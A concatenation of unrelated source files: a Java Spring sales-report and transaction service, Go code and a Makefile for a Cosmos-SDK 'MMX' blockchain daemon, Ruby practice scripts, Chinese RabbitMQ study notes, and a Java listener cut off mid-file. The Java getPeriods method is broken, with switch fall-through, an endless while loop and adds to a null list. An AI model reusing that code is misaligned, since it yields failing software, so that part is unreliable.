import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import mx.com.assessment.dto.WeeklyReportDto;
import mx.com.assessment.repository.ReportsDao;
@Service
public class ReportsService {
@Autowired
private ReportsDao reportsDao;
public List<WeeklyReportDto> getReport() {
List<WeeklyReportDto> periods = this.getPeriods();
for (WeeklyReportDto period : periods) {
period.setQuantity(this.reportsDao.salesQuantity(period.getStartDay(), period.getEndDay()));
}
return periods;
}
public List<WeeklyReportDto> getPeriods() {
Calendar cal = Calendar.getInstance();
int dayOfWeek = cal.get(Calendar.DAY_OF_WEEK);
int dayOfMonth = cal.get(Calendar.DAY_OF_MONTH);
int thisYear = cal.get(Calendar.YEAR);
int thisMonth = cal.get(Calendar.MONTH);
int week = 0;
int lastMonday = 0;
int firstMonday = 0;
List<WeeklyReportDto> periods = null;
WeeklyReportDto period = new WeeklyReportDto();
switch (dayOfWeek) {
case 1:
lastMonday = dayOfWeek;
case 2:
lastMonday = dayOfWeek - 1;
case 3:
lastMonday = dayOfWeek - 2;
case 4:
lastMonday = dayOfWeek - 3;
case 5:
lastMonday = dayOfWeek - 4;
case 6:
lastMonday = dayOfWeek - 5;
case 7:
lastMonday = dayOfWeek - 6;
}
while (lastMonday > 0) {
if (lastMonday - 7 > 0)
firstMonday = lastMonday;
}
for (int i = firstMonday; i <= dayOfMonth; i = firstMonday + 7) {
if (firstMonday - dayOfMonth < 0) {
week++;
period.setWeekNum(week);
period.setStartDay(LocalDate.of(thisYear, thisMonth, firstMonday).toString());
period.setEndDay(LocalDate.of(thisYear, thisMonth, firstMonday + 6).toString());
periods.add(period);
} else {
week++;
period.setWeekNum(week);
period.setStartDay(LocalDate.of(thisYear, thisMonth, firstMonday).toString());
period.setEndDay(LocalDate.of(thisYear, thisMonth, dayOfMonth).toString());
periods.add(period);
}
}
return periods;
}
}
<file_sep>package mx.com.assessment.controller;
import java.util.List;
import java.util.Map;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import mx.com.assessment.commons.AppUrlConstants;
import mx.com.assessment.commons.RestUtils;
import mx.com.assessment.model.Transaction;
import mx.com.assessment.service.TransactionService;
@RestController
@RequestMapping(AppUrlConstants.BASE_NAME)
public class TransactionController {
private final RestUtils restUtils = new RestUtils();
@Autowired
public TransactionService transactionsService;
@PostMapping(AppUrlConstants.NEW_TRX)
public ResponseEntity<Transaction> createTransaction(@PathVariable Long userId, @RequestBody Transaction transaction) {
Transaction createdTransaction = this.transactionsService.prepareTransaction(userId, transaction);
return new ResponseEntity<Transaction>(createdTransaction, HttpStatus.OK);
}
@SuppressWarnings("unchecked")
@GetMapping(AppUrlConstants.FIND_TRX)
public ResponseEntity<Transaction> getTransaction(@RequestParam(name = "transactionId") String transactionId, @RequestParam(name = "userId") Long userId ) {
Transaction transactionFound = this.transactionsService.getUniqueTransaction(transactionId, userId);
if(!transactionFound.equals(null)) {
return new ResponseEntity<Transaction>(transactionFound, HttpStatus.OK);
}
return restUtils.errorMessage(HttpStatus.NOT_FOUND, "Transaction not found");
}
@GetMapping(AppUrlConstants.TRX_LIST)
public @ResponseBody List<Transaction> getTransactions(@RequestParam(name = "userId") Long userId ) {
List<Transaction> transactionsFound = null;
try {
transactionsFound = this.transactionsService.getTransactionsList(userId);
} catch (Exception e) {
return null; //should be return the exception message
}
return transactionsFound;
}
@GetMapping(AppUrlConstants.TRX_SUM)
public @ResponseBody Map<String, String> transactionSummary(@RequestParam(name = "userId") Long userId ) {
return this.transactionsService.getSum(userId);
}
@GetMapping(AppUrlConstants.RDM_TRX)
public ResponseEntity<Transaction> randomTrx() {
return new ResponseEntity<Transaction>(this.transactionsService.randomTrx(), HttpStatus.OK);
}
}
<file_sep>package mx.com.assessment.commons;
import java.util.LinkedHashMap;
import java.util.Map;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
public class RestUtils {
@SuppressWarnings("rawtypes")
public ResponseEntity errorMessage(final HttpStatus code, final String message) {
Map<String, String> error = new LinkedHashMap<String, String>();
error.put("error", "" + code.value());
error.put("error_description", message);
return ResponseEntity.status(code).body(error);
}
}
| d36141b773ad1c169d8363f662290a6b1411a327 | [
"Java"
] | 4 | Java | ElPinchePedro/java-assesssment | d8209d513666d80036da91d1971c631346a11119 | 902971aa5a448eec8b64916a57e63eb7af2784b7 |
refs/heads/master | <repo_name>mmxCoinHub/go-mmx<file_sep>/types/address.go
package types
import (
sdk "github.com/cosmos/cosmos-sdk/types"
)
const (
// MmxBech32Prefix defines the Bech32 prefix of an account's address
MmxBech32Prefix = "mmx"
// MmxCoinType Mmx coin in https://github.com/satoshilabs/slips/blob/master/slip-0044.md
MmxCoinType = 118
// MmxFullFundraiserPath BIP44Prefix is the parts of the BIP44 HD path that are fixed by what we used during the fundraiser.
// use the registered cosmos stake token ATOM 118 as coin_type
// m / purpose' / coin_type' / account' / change / address_index
MmxFullFundraiserPath = "44'/118'/0'/0/0"
// MmxBech32PrefixAccAddr defines the Bech32 prefix of an account's address
MmxBech32PrefixAccAddr = MmxBech32Prefix
// MmxBech32PrefixAccPub defines the Bech32 prefix of an account's public key
MmxBech32PrefixAccPub = MmxBech32Prefix + sdk.PrefixPublic
// MmxBech32PrefixValAddr defines the Bech32 prefix of a validator's operator address
MmxBech32PrefixValAddr = MmxBech32Prefix + sdk.PrefixValidator + sdk.PrefixOperator
// MmxBech32PrefixValPub defines the Bech32 prefix of a validator's operator public key
MmxBech32PrefixValPub = MmxBech32Prefix + sdk.PrefixValidator + sdk.PrefixOperator + sdk.PrefixPublic
// MmxBech32PrefixConsAddr defines the Bech32 prefix of a consensus node address
MmxBech32PrefixConsAddr = MmxBech32Prefix + sdk.PrefixValidator + sdk.PrefixConsensus
// MmxBech32PrefixConsPub defines the Bech32 prefix of a consensus node public key
MmxBech32PrefixConsPub = MmxBech32Prefix + sdk.PrefixValidator + sdk.PrefixConsensus + sdk.PrefixPublic
)
<file_sep>/version/version.go
package version
import (
"fmt"
"runtime"
)
// Version - version
const Version = "0.0.1"
var (
// NetworkType is set by build flags
NetworkType = ""
// BuildTags is set by build flags
BuildTags = ""
)
type VersionInfo struct {
Name string `json:"name" yaml:"name"`
ServerName string `json:"server_name" yaml:"server_name"`
ClientName string `json:"client_name" yaml:"client_name"`
Version string `json:"version" yaml:"version"`
NetworkType string `json:"network_type" yaml:"network_type"`
// GitCommit string `json:"commit" yaml:"commit"`
BuildTags string `json:"build_tags" yaml:"build_tags"`
GoVersion string `json:"go_version" yaml:"go_version"`
}
func NewVersionInfo() VersionInfo {
return VersionInfo{
Name: "mmx",
ServerName: "mmxd",
ClientName: "mmxcli",
Version: Version,
NetworkType: NetworkType,
BuildTags: BuildTags,
GoVersion: fmt.Sprintf("%s %s/%s", runtime.Version(), runtime.GOOS, runtime.GOARCH),
}
}
func (vi VersionInfo) String() string {
return fmt.Sprintf(`%s: %s
build tags: %s
%s`,
vi.Name, vi.Version, vi.BuildTags, vi.GoVersion,
)
}
<file_sep>/cmd/mmxd/main.go
package main
import (
"encoding/json"
"io"
"github.com/spf13/cobra"
"github.com/spf13/viper"
"mmx.com/go-mmx/app"
mmxtypes "mmx.com/go-mmx/types"
"mmx.com/go-mmx/version"
abci "github.com/tendermint/tendermint/abci/types"
"github.com/tendermint/tendermint/libs/cli"
"github.com/tendermint/tendermint/libs/log"
tmtypes "github.com/tendermint/tendermint/types"
dbm "github.com/tendermint/tm-db"
"github.com/cosmos/cosmos-sdk/baseapp"
"github.com/cosmos/cosmos-sdk/server"
"github.com/cosmos/cosmos-sdk/store"
sdk "github.com/cosmos/cosmos-sdk/types"
"github.com/cosmos/cosmos-sdk/x/genaccounts"
genaccscli "github.com/cosmos/cosmos-sdk/x/genaccounts/client/cli"
genutilcli "github.com/cosmos/cosmos-sdk/x/genutil/client/cli"
"github.com/cosmos/cosmos-sdk/x/staking"
)
const flagInvCheckPeriod = "inv-check-period"
var invCheckPeriod uint
func main() {
cdc := app.MakeCodec()
config := sdk.GetConfig()
config.SetBech32PrefixForAccount(mmxtypes.MmxBech32PrefixAccAddr, mmxtypes.MmxBech32PrefixAccPub)
config.SetBech32PrefixForValidator(mmxtypes.MmxBech32PrefixValAddr, mmxtypes.MmxBech32PrefixValPub)
config.SetBech32PrefixForConsensusNode(mmxtypes.MmxBech32PrefixConsAddr, mmxtypes.MmxBech32PrefixConsPub)
config.SetCoinType(mmxtypes.MmxCoinType)
config.SetFullFundraiserPath(mmxtypes.MmxFullFundraiserPath)
config.Seal()
ctx := server.NewDefaultContext()
cobra.EnableCommandSorting = false
rootCmd := &cobra.Command{
Use: "mmxd",
Short: "Mmx Chain Daemon (server)",
PersistentPreRunE: server.PersistentPreRunEFn(ctx),
}
// CLI commands to initialize the chain
rootCmd.AddCommand(genutilcli.InitCmd(ctx, cdc, app.ModuleBasics, app.DefaultNodeHome))
rootCmd.AddCommand(genutilcli.CollectGenTxsCmd(ctx, cdc, genaccounts.AppModuleBasic{}, app.DefaultNodeHome))
rootCmd.AddCommand(genutilcli.MigrateGenesisCmd(ctx, cdc))
rootCmd.AddCommand(genutilcli.GenTxCmd(ctx, cdc, app.ModuleBasics, staking.AppModuleBasic{},
genaccounts.AppModuleBasic{}, app.DefaultNodeHome, app.DefaultCLIHome))
rootCmd.AddCommand(genutilcli.ValidateGenesisCmd(ctx, cdc, app.ModuleBasics))
rootCmd.AddCommand(genaccscli.AddGenesisAccountCmd(ctx, cdc, app.DefaultNodeHome, app.DefaultCLIHome))
// rootCmd.AddCommand(client.NewCompletionCmd(rootCmd, true))
rootCmd.AddCommand(version.Cmd())
server.AddCommands(ctx, cdc, rootCmd, newApp, exportAppStateAndTMValidators)
// prepare and add flags
executor := cli.PrepareBaseCmd(rootCmd, "MMXD", app.DefaultNodeHome)
rootCmd.PersistentFlags().UintVar(&invCheckPeriod, flagInvCheckPeriod, 0, "Assert registered invariants every N blocks")
err := executor.Execute()
if err != nil {
panic(err)
}
}
func newApp(logger log.Logger, db dbm.DB, traceStore io.Writer) abci.Application {
return app.NewMmxApp(logger, db, traceStore, true, invCheckPeriod,
baseapp.SetPruning(store.NewPruningOptionsFromString(viper.GetString("pruning"))),
baseapp.SetMinGasPrices(viper.GetString("min-gas-prices")),
baseapp.SetHaltHeight(uint64(viper.GetInt("halt-height"))),
)
}
func exportAppStateAndTMValidators(
logger log.Logger, db dbm.DB, traceStore io.Writer, height int64, forZeroHeight bool, jailWhiteList []string,
) (json.RawMessage, []tmtypes.GenesisValidator, error) {
if height != -1 {
MmxApp := app.NewMmxApp(logger, db, traceStore, false, uint(1))
err := MmxApp.LoadHeight(height)
if err != nil {
return nil, nil, err
}
return MmxApp.ExportAppStateAndValidators(forZeroHeight, jailWhiteList)
}
MmxApp := app.NewMmxApp(logger, db, traceStore, true, uint(1))
return MmxApp.ExportAppStateAndValidators(forZeroHeight, jailWhiteList)
}
<file_sep>/version/command.go
package version
import (
"encoding/json"
"fmt"
"github.com/spf13/cobra"
"github.com/spf13/viper"
"github.com/tendermint/tendermint/libs/cli"
"gopkg.in/yaml.v2"
)
const FlagLong = "long"
// Cmd prints out the application's version information
func Cmd() *cobra.Command {
cmd := &cobra.Command{
Use: "version",
Short: "Print the application's version",
RunE: func(cmd *cobra.Command, args []string) error {
verInfo := NewVersionInfo()
if !viper.GetBool(FlagLong) {
v := verInfo.Version
if verInfo.NetworkType != "" {
v = v + "-" + verInfo.NetworkType
}
fmt.Println(v)
return nil
}
var bz []byte
var err error
switch viper.GetString(cli.OutputFlag) {
case "json":
bz, err = json.Marshal(verInfo)
default:
bz, err = yaml.Marshal(&verInfo)
}
if err != nil {
return err
}
_, err = fmt.Println(string(bz))
return err
},
}
cmd.Flags().Bool(FlagLong, false, "Print long version information")
return cmd
}
<file_sep>/go.mod
module mmx.com/go-mmx
go 1.14
require (
github.com/cosmos/cosmos-sdk v0.37.12
github.com/spf13/cobra v0.0.5
github.com/spf13/viper v1.6.1
github.com/tendermint/go-amino v0.15.1
github.com/tendermint/tendermint v0.32.11
github.com/tendermint/tm-db v0.2.0
gopkg.in/yaml.v2 v2.2.8
)
<file_sep>/README.md
## go-mmx
Official Golang implementation of the MMX blockchain.
## Contribution
Thank you for considering making contributions to MMX!
If you'd like to contribute to go-mmx, please fork, fix, commit and send a pull request for the mainers to review and merge into the main code base.
If you wish to submit more complex changes though, please check up with the core devs first.
<file_sep>/Makefile
#!/usr/bin/make -f
# COMMIT := $(shell git log -1 --format='%H')
NETWORK_TYPE := mmx-v1
export GO111MODULE = on
export GOPROXY = https://goproxy.io
# windows, linux, darwin
export GOOS = linux
export GOARCH = amd64
# include ledger support
include Makefile.ledger
ldflags = -X 'mmx.com/go-mmx/version.NetworkType=$(NETWORK_TYPE)' \
-X 'mmx.com/go-mmx/version.BuildTags=netgo'
BUILD_FLAGS := -tags "$(build_tags)" -ldflags "$(ldflags)"
all: build
build: go.sum
ifeq ($(OS),Windows_NT)
go build -mod=readonly $(BUILD_FLAGS) -o build/windows/mmxd.exe ./cmd/mmxd
go build -mod=readonly $(BUILD_FLAGS) -o build/windows/mmxcli.exe ./cmd/mmxcli
else
UNAME_S := $(shell uname -s)
goos_flag := linux
ifeq ($(UNAME_S), Darwin)
goos_flag = darwin
endif
ifeq ($(UNAME_S), OpenBSD)
goos_flag = openbsd
endif
ifeq ($(UNAME_S), FreeBSD)
goos_flag = freebsd
endif
ifeq ($(UNAME_S), NetBSD)
goos_flag = netbsd
endif
GOOS=$(goos_flag) GOARCH=amd64 go build -mod=readonly $(BUILD_FLAGS) -o build/$(goos_flag)/mmxd ./cmd/mmxd
GOOS=$(goos_flag) GOARCH=amd64 go build -mod=readonly $(BUILD_FLAGS) -o build/$(goos_flag)/mmxcli ./cmd/mmxcli
endif
build-windows: go.sum
go build -mod=readonly $(BUILD_FLAGS) -o build/windows/mmxd.exe ./cmd/mmxd
go build -mod=readonly $(BUILD_FLAGS) -o build/windows/mmxcli.exe ./cmd/mmxcli
build-linux: go.sum
# LEDGER_ENABLED=false GOOS=linux GOARCH=amd64 $(MAKE) build
go build -mod=readonly -tags "netgo" -ldflags "$(ldflags)" -o build/linux/mmxd ./cmd/mmxd
go build -mod=readonly -tags "netgo" -ldflags "$(ldflags)" -o build/linux/mmxcli ./cmd/mmxcli
build-mac: go.sum
# LEDGER_ENABLED=false GOOS=darwin GOARCH=amd64 $(MAKE) build
go build -mod=readonly -tags "netgo" -ldflags "$(ldflags)" -o build/mac/mmxd ./cmd/mmxd
go build -mod=readonly -tags "netgo" -ldflags "$(ldflags)" -o build/mac/mmxcli ./cmd/mmxcli
go-mod-cache: go.sum
@echo "--> Download go modules to local cache"
@go mod download
go.sum: go.mod
@echo "--> Ensure dependecies have not been modified"
@go mod verify
@go mod tidy
clean:
rm -rf build/
| 2f58c8d35582c8445d7edb545bcfba7dccfec756 | [
"Markdown",
"Go Module",
"Go",
"Makefile"
] | 7 | Go | mmxCoinHub/go-mmx | 6ed65d2367623b815eeda5d02f2dfc624eb1d180 | c119f2a7df7a1d07abbfde2f7a1a5bd76bd0b913 |
refs/heads/master | <repo_name>Toshiki-Tsuji/-Ruby-<file_sep>/chapter10/10_3.rb
hello_proc = Proc.new do
'Hello!'
end
puts hello_proc.call
puts '---------------------------------------'
add_proc = Proc.new { |a = 1, b = 2| a + b }
puts add_proc.call(10, 20)
puts '---------------------------------------'
example_proc = proc { |a=1, b=9| a + b }
puts example_proc.call(99, 200)
puts '---------------------------------------'
def greeting_2(&block)
puts 'おはよう'
text = block.call('こんにちは')
puts text
puts 'こんばんは'
end
repeat_proc = Proc.new{ |text| text * 2 }
greeting_2(&repeat_proc)
puts '---------------------------------------'
def greeting_3(proc_1, proc_2, proc_3)
puts proc_1.call('おはよう')
puts proc_2.call('こんにちは')
puts proc_3.call('こんばんは')
end
shuffle_proc = Proc.new { |text| text.chars.shuffle.join }
repeat_proc = Proc.new { |text| text * 2 }
question_proc = Proc.new { |text| "#{text}?" }
greeting_3(shuffle_proc, repeat_proc, question_proc)
puts '---------------------------------------'
add_lambda = ->(a,b) { a + b }
add_lambda.call(10, 20)
puts add_lambda.call(10, 20)
<file_sep>/chapter9/9_6.rb
# file = File.open('some.txt', 'w') do |file|
# file << 'Hello'
# 1 / 0
# end
ret =
begin
'OK'
rescue
'error'
ensure
'ensure'
end
puts ret
def some_method(n)
begin
1 / n
'OK'
# rescue
# 'error'
ensure
return 'ensure'
end
end
puts some_method(1)
puts some_method(0)
puts '----------------------------------------'
puts 1/1 rescue 0
puts 1/0 rescue 0
puts '----------------------------------------'
require 'date'
def to_date(string)
begin
Date.parse(string)
rescue ArgumentError
nil
end
end
puts to_date('2017-01-01')
puts to_date('abcdef')
puts '----------------------------------------'
def to_date(string)
Date.parse(string) rescue nil
end
puts to_date('2017-01-01')
puts to_date('abcdef')
puts '----------------------------------------'
begin
1 / 0
rescue
puts "#{$!.class} #{$!.message}"
puts $@
end
puts '----------------------------------------'
def fizz_buzz(n)
if n % 15 == 0
'FizzBuzz'
elsif n % 3 == 0
'Fizz'
end
rescue => e
puts "#{e.class} #{e.message}"
end
fizz_buzz(nil)
puts '----------------------------------------'
# def fizz_buzz(n)
# if n % 15 == 0
# 'FB'
# end
# rescue => e
# puts "[LOG]エラー:#{e.class} #{e.message}}"
# raise
# end
# fizz_buzz(nil)
puts '----------------------------------------'
class NoCountryError < StandardError
attr_reader :country
def initialize(message, country)
@country = country
super("#{message} #{country}")
end
end
def currency_of(country)
case country
when :japan
'yen'
when :us
'dollar'
when :india
'rupee'
else
raise NoCountryError.new('無効な国名です。', country)
end
end
begin
currency_of(:italy)
rescue NoCountryError => e
puts e.message
puts e.country
end
<file_sep>/chapter6/6_3.rb
text = '私の誕生日は1977年7月17日です。'
m = /(\d+)年(\d+)月(\d+)日/.match(text)
puts m[1]
puts m[2]
puts m[3]
# 文字列が正規表現にマッチするとMatchDataオブジェクトが返る。
m = /(\d+)年(\d+)月(\d+)日/.match(text)
puts m
puts 'ーーーーーーーーーーーーーーーーーーーーーーーーーーー'
puts m[0]
puts m[2, 2]
puts 'ーーーーーーーーーーーーーーーーーーーーーーーーーーー'
#キャプチャの結果に名前をつける。
abc = /(?<year>\d+)年(?<month>\d+)月(?<day>\d+)日/.match(text)
puts abc[:year]
puts abc[:month]
puts abc[:day]
puts 'ーーーーーnewーーーーーーーーーーーーーーーーーーー'
# 左辺に正規表現リテラル、右辺に文字列を置いて=~演算子を使うと、
# キャプチャの名前がそのままローカル変数に割り当てられる。
if /(?<year>\d+)年(?<month>\d+)月(?<day>\d+)日/ =~ text
puts "#{year}/#{month}/#{day}"
end
<file_sep>/chapter6/6_5.rb
# Regexp.new('\d{3}-\d{4}')
# /http:\/\/example\.com/
# %r!http://example\.com!
# %r{http://example\.com}
# pattern = '\d{3}-\d{4}'
# '123-4567' =~ /#{pattern}/
puts 'HELLO' =~ /hello/i
puts 'HELLO' =~ %r{hello}i
regexp = Regexp.new('hello', Regexp::IGNORECASE)
puts 'HELLO' =~ regexp
puts '----------------------'
puts "Hello\nBye" =~ /Hello.Bye/
puts "Hello\nBye" =~ /Hello.Bye/m
regexp = Regexp.new('Hello.Bye', Regexp::MULTILINE)
puts "Hello\nBye" =~ regexp
regexp = /
\d{3} # 郵便番号の先頭3桁
\ # 区切り文字のハイフン
\d{4} # 郵便番号の末尾4桁
/x
puts '123 4567' =~ regexp
puts '-------------------------------------'
pattern = <<'TEXT'
\d{3}
-
\d{4}
TEXT
regexp = Regexp.new(pattern, Regexp::EXTENDED)
puts '123-4567' =~ regexp
puts '-------------------------------------'
puts "HELLO\nBYE" =~ /Hello.Bye/im
regexp = Regexp.new('Hello.Bye', Regexp::IGNORECASE | Regexp::MULTILINE)
puts "HELLO\nBYE" =~ regexp
puts '-----------------------------'
text = '私の誕生日は1977年7月17日です'
text =~ /(\d+)年(\d+)月(\d+)日/
puts $~
puts $&
puts $1
puts $+
<file_sep>/chapter6/6_5_5.rb
text = '私の誕生日は1997年7月17日です'
text =~ /(\d+)年(\d+)月(\d+)日/
puts Regexp.last_match
puts Regexp.last_match(1)
<file_sep>/chapter9/9_2_4.rb
begin
1/0
rescue => e
puts "エラークラス:#{e.class}"
puts "エラーメッセージ: #{e.message}"
puts "バックトレース -----"
puts e.backtrace
puts "-----"
end
puts '---------------------------------------------------------'
begin
1/0
rescue ZeroDivisionError
puts '0で割っちゃいました。'
end
puts '---------------------------------------------------------'
begin
'abc'.foo
rescue ZeroDivisionError
puts '0で割っちゃいました。'
rescue NoMethodError
puts "存在しないメソッドが呼び出されました"
end
puts '---------------------------------------------------------'
begin
'abc'.foo
rescue ZeroDivisionError, NoMethodError => e
puts '0で割っちゃいました。or 存在しないメソッドが呼び出されました'
puts "エラー:#{e.class} #{e.message}"
end
puts '---------------------------------------------------------'
#永久に二つ目のrescue節が実行されないパターン
begin
'abc'.foo
rescue NameError
puts 'nameエラーです'
rescue NoMethodError
puts 'NoMethodエラーです'
end
#上のコードを良い順番に直した
begin
'abc'.foo
rescue NoMethodError
#ここで捕捉される
puts 'NoMethodエラーです'
rescue NameError
puts 'nameエラーです'
end
puts '---------------------------------------------------------'
retry_count = 0
begin
puts '処理を開始します'
1 / 0
rescue
retry_count += 1
if retry_count <= 3
puts "retry します(#{retry_count}回目)"
retry
else
puts 'retryに失敗しました'
end
end
<file_sep>/chapter9/9_2_3.rb
puts 'Start.'
module Greeter
def hello
'hello'
end
end
begin
greeter = Greeter.new
rescue
puts '例外が発生したがそのまま続けます'
end
puts 'エンド'
puts '----------------------------------------------------------------'
def method_1
puts 'method_1 スタート'
# begin
method_2
# rescue
puts '例外が発生した'
# end
puts 'method_1 終わり'
end
def method_2
puts 'method_2 スタート'
method_3
puts 'method_2 終わり'
end
def method_3
puts 'method_3 スタート'
1 / 0
puts 'method_3 エンド'
end
method_1
<file_sep>/chapter7/kaisatu.rb
# class User
# attr_reader :first_name, :last_name, :age
# def initialize(first_name, last_name, age)
# @first_name = first_name
# @last_name = last_name
# @age = age
# end
# def full_name
# "#{first_name} #{last_name}"
# end
# end
# users = []
# users << User.new('Alice', 'Ruby', 20)
# users << User.new('Bob', 'Python', 30)
# users.each do |user|
# puts "氏名:#{user.full_name}、年齢:#{user.age}"
# end
class User
def initialize(name)
@name = name
end
def name
@name
end
def name=(value)
@name = value
end
end
user = User.new('Alice')
user.name = 'Bob'
puts user.name
<file_sep>/chapter10/10_2.rb
def greeting
puts "どうも。"
# ブロックに引数を渡し、戻り値を受け取る
text = yield '僕はトム!'
# ブロックの戻り値をコンソールに出力する
puts text
puts 'バイバイ。'
end
greeting do |text|
text * 2
end
puts '---------------------------------------'
def greeting(&block)
puts 'おはよう'
text = block.call('こんにちは')
puts text
puts 'こんばんは'
end
greeting do |text|
text * 2
end
puts '---------------------------------------'
def greeting_1(&block)
puts 'おはよう'
text =
if block.arity == 1
yield 'コンにちは'
elsif block.arity == 2
yield 'こんに', 'ちは'
end
puts text
puts 'こんばんは'
end
greeting_1 do |text|
text * 2
end
greeting_1 do |text1, text2|
text1 * 2 + text2 * 2
end
puts '---------------------------------------'
<file_sep>/README.md
# -Ruby-
プロを目指す人のためのRuby入門の例題をやってみる
<file_sep>/chapter6/6_3_4.rb
# puts '123 456 789'.scan(/\d+/)
# puts '------------------------------'
# puts '1997年7月17日 2016年12月31日'.scan(/(?:\d+)年(?:\d+)月(?:\d+)日/)
# puts '------------------------------'
# text = '郵便番号は123-4567です'
# puts text[/\d{3}-\d{4}/]
# puts '------------------------------'
# text = '誕生日は1997年7月17日です。'
# puts text[/(\d+)年(\d+)月(\d+)日/, 2]
text = '誕生日は1977年7月17日です'
puts text.slice!(/(\d+)年(\d+)月(\d+)日/, 3)
| 59f4f1f17d0aa0ed3b1d83ae209f33bf70cd570c | [
"Markdown",
"Ruby"
] | 11 | Ruby | Toshiki-Tsuji/-Ruby- | a2fecc865825e4e626cde4ab2c090d35487523b9 | 227cac88ca88db156d9974252527bcf7f37528f8 |
refs/heads/main | <repo_name>FGHII/findTheOldest<file_sep>/README.md
# findTheOldest
The Odin Project: Find The Oldest javascript exercise
| 88f6b62d2a497c2ae9f7d2fa94aef90043af984d | [
"Markdown"
] | 1 | Markdown | FGHII/findTheOldest | 24c9fc2abd654da6c753f1784f4140198c02a548 | 9b609300f08233f2d1493aec65eedfcbd77b1f1b |
refs/heads/master | <file_sep>day01 QuickStart
1.添加依赖
<dependency>
<groupId>com.rabbitmq</groupId>
<artifactId>amqp-client</artifactId>
<version>5.6.0</version>
</dependency>
2.生产者配置
--默认配置--
//创建链接工厂对象
//设置RabbitMQ服务主机地址,默认localhost
//设置RabbitMQ服务端口,默认5672
//设置虚拟主机名字,默认/
//设置用户连接名,默认guest
//设置链接密码,默认<PASSWORD>
---频道是对connect的细分
//创建链接
//创建频道
---队列是发送消息的通道
//声明队列
//创建消息
//消息发送
//关闭资源
3.消费者配置、
//创建链接工厂对象
//设置RabbitMQ服务主机地址,默认localhost
//设置RabbitMQ服务端口,默认5672
//设置虚拟主机名字,默认/
//设置用户连接名,默认guest
//设置链接密码,默认<PASSWORD>
//创建链接
//创建频道
//创建队列
//创建消费者,并设置消息处理
//消息监听
//关闭资源(不建议关闭,建议一直监听消息)
day02 Work queues工作队列模式
Work Queues与入门程序的简单模式相比,多了一个或一些消费端,多个消费端共同消费同一个队列中的消息。
在一个队列中如果有多个消费者,那么消费者之间对于同一个消息的关系是**竞争**的关系
day03 Publish/Subscribe发布与订阅模式
P:生产者,也就是要发送消息的程序,但是不再发送到队列中,而是发给X(交换机)
C:消费者,消息的接受者,会一直等待消息到来。
Queue:消息队列,接收消息、缓存消息。
Exchange:交换机,图中的X。一方面,接收生产者发送的消息。另一方面,知道如何处理消息,例如递交给某个特别队列、递交给所有队列、或是将消息丢弃。到底如何操作,取决于Exchange的类型。Exchange有常见以下3种类型:
Fanout:广播,将消息交给所有绑定到交换机的队列
Direct:定向,把消息交给符合指定routing key 的队列
Topic:通配符,把消息交给符合routing pattern(路由模式) 的队列
Exchange(交换机)只负责转发消息,不具备存储消息的能力,因此如果没有任何队列与Exchange绑定,或者没有符合路由规则的队列,那么消息会丢失!
day04 Routing路由模式
1.队列与交换机的绑定,不能是任意绑定了,而是要指定一个RoutingKey(路由key)
2.消息的发送方在 向 Exchange发送消息时,也必须指定消息的 RoutingKey。
3.Exchange不再把消息交给每一个绑定的队列,而是根据消息的Routing Key进行判断,只有队列的Routingkey与消息的 Routing key完全一致,才会接收到消息
队列与交换机绑定时只当routingKey
消息发送时只当routingKey
消息接收者只需要绑定对应的队列即可
day05 Topics通配符模式
Topic类型与Direct相比,都是可以根据RoutingKey把消息路由到不同的队列。只不过Topic类型Exchange可以让队列在绑定Routing key 的时候**使用通配符**!
Routingkey 一般都是有一个或多个单词组成,多个单词之间以”.”分割,例如: item.insert
通配符规则:
#:匹配一个或多个词
*:匹配不多不少恰好1个词
举例:
item.#:能够匹配item.insert.abc 或者 item.insert
item.*:只能匹配item.insert
channel.queueBind("topic_queue_2","topic_exchange","item.*");
通配符时使用在绑定队列和交换机 并指定路由时 对路由进行通配符的使用
----------------------------
RabbitMQ的高级特性
1 消息的可靠投递 spring-rabbitmq-provider 生产端
confirm模式 消息从producer到exchange则会返回一个confirmCallback
return模式 消息从producer到queue投递失败则会返回一个returnCallback
主要特点:消息实在confirmCallback和returnCallback回调函数中发出
2. consumer ACK(acknowledge 确认) 表示消费端接收到消息后的确认 spring-rabbitmq-consumer
2.1 自动确认 acknowledge=none
2.2 手动确认 acknowledge=manual
2.3 根据异常类型确认 acknowledge=auto
3.消费端限流 削峰填谷 和消费端有关 QosListener
4.死信队列 DLX Dead Letter Exchange 死信交换机
当消息成为dead message 后,可以被重新发送到另一个交换机,这个交换机就是DLX
消息在什么情况下成为死信
1.队列消息长度到达限制
2.消费者拒绝接收消息,basicNack/basicReject,并且不把消息重新放入原目标队列 requeue=false 和消费者有关
3.原队列存在消息过期时间,消息达到超时时间未被消费
5.延迟队列
使用 TTL+死信队列组合实现延迟队列的效果
6.日志与监控
7.消息追踪
Firehose
1.图形界面默认交换机 ampq.rabbitmq.trace
rabbitmq_tracing
1.直接开启内置功能
2.在cmd命令上开启插件
--------------------------
应用问题
1.消息可靠性保障
消息补偿机制
2.消息幂等性保障
乐观锁解决机制
------------------
rabbit集群搭建
1.集群搭建镜像队列
2.集群搭建 负载均衡-haproxy插件
<file_sep>package com.huangchuan.listener;
import com.rabbitmq.client.Channel;
import org.springframework.amqp.core.Message;
import org.springframework.amqp.rabbit.listener.api.ChannelAwareMessageListener;
import org.springframework.stereotype.Component;
import java.io.IOException;
/**
*/
@Component
public class OrderListener implements ChannelAwareMessageListener {
@Override
public void onMessage(Message message, Channel channel) throws Exception {
long deliveryTag = message.getMessageProperties().getDeliveryTag();
try {
//1,接收转换消息
System.out.println(new String(message.getBody()));
//2.处理业务逻辑
System.out.println("处理业务逻辑...");
System.out.println("根据订单id查询其状态。。。。。");
System.out.println("判断是否支付成功");
System.out.println("取消订单回滚库存。。。。");
//3.成功签收
channel.basicAck(deliveryTag, true);
} catch (IOException e) {
System.out.println("出现异常拒绝接收");
//4.拒绝签收 不充回队列 queue
//第三个参数 true:重回队列 发送消息给消费端
channel.basicNack(deliveryTag, true, false);
// channel.basicReject(deliveryTag, true);
}
}
@Override
